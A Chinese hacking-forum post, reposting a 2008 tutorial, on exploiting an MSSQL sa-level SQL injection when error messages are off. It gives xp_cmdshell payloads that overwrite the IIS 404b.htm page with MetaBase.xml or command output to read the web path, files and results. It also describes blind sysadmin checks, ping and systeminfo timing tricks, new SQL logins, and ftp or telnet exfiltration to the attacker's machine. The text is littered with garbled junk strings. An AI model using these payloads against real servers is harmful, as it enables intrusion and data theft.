找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。- t" W, z, k1 |- Q1 b% q  F; }3 f

% Y1 Z  n' @) d' _; b% q: ~# n$ b  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。, M. _3 P. i( }( E( r+ u% l

  e3 |# R) Y* N% L4 h$ j  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
; F+ F, [; {, }! K
$ O# b" K' v  _  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
* u6 i$ i, J8 s9 s9 m' Z7 ~% ?: G, L( _  ]; A9 }( G- S5 m) C
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
6 q/ u$ j% j% b3 C) t3 Y% e9 e! s) a6 r% B- z  c) P' `
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。3 k7 c! c6 _  Q1 n
/ b+ Z, m) }( }1 P4 B
  执行命令得到回显
6 ?5 T1 ^2 }  e% Q' @& J. |$ s1 L6 E" A; I! X
  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
9 ]$ L/ \9 f/ H2 l
3 y; o* ^' T: L' L- p4 i# o4 e1 k  得到文件也shi相同,把文件copy到404b.htm就行了6 j5 s) f& D" k" F/ w6 o- ]
. t" H4 ]1 y% d
  by 28ice, 2008/6/265 m0 O- t9 |# F' K$ Q1 b
% \! M% M+ Z5 Q# _, d+ u" l
  摘自 28度的冰
5 r, l0 n$ s8 g) `7 T: G- f  Y- y
5 ~( \2 q1 V+ z5 j: n8 f  盲注判断权限和操作系统版本# }& L$ I: C' T) M  q! o+ i: j

) W4 p% p& I: r0 u  I  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?- B5 F3 s5 u$ n! j2 r: {0 @% v

' ~! }' f; {6 U: i  最简单的,可能以用这样的方法:8 I# M6 K* j' I+ |  P) g( e% E- x
& g: h, e% g: @3 P- m) j3 {
  1=(select IS_SRVROLEMEMBER(’sysadmin’))
" h+ ?' @+ \3 \/ t4 i" a6 G: T& o/ `' Q. K
  当然,有些情况下,这个方法并不奏效。
4 ?6 s$ c$ B. c/ ]0 V$ ~3 @: H1 K
; l& L' s# O" j3 Z+ `  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。% l0 t/ ^" L6 R1 g, v5 m

1 u, x4 s+ B- u$ @$ c' I: J" |  有个3办法可能以解决这个问题  [7 Z, X% Y6 y/ D& q  i- [
0 g$ M8 i. {- L3 _( K1 U- R$ ?
  a.把执行结果写到404b.htm,具体请看我的上一篇文章3 T: x1 d# X2 ^. T8 _7 ]
  t! a& I9 C% a- y! x4 g7 D
  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
5 N9 [8 E) y" f5 F. s4 a; H7 r9 C1 j. n  W9 @& i! H; v' Q
  c.如果1433端口可能以连接,那干脆新建个sql登录
7 z& C5 ^$ M9 T3 a$ p; z' n" W
* H/ M) T  t9 ~  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数9 h& n7 K5 V1 H" ^/ q& y+ N

: |, B  c. S" }- q  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
0 z/ J* v$ E6 E8 Q1 W- j) U4 o( ^3 v4 l' ?8 T- N
  很简单
% c. ]) ]+ M! w, Q9 C: q( ~- t1 E; V7 \6 v3 m) }
  执行systeminfo
+ i  W% r% B3 z7 M' Q
1 x" w! w# J8 x! B  E" x0 n$ M% ?  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表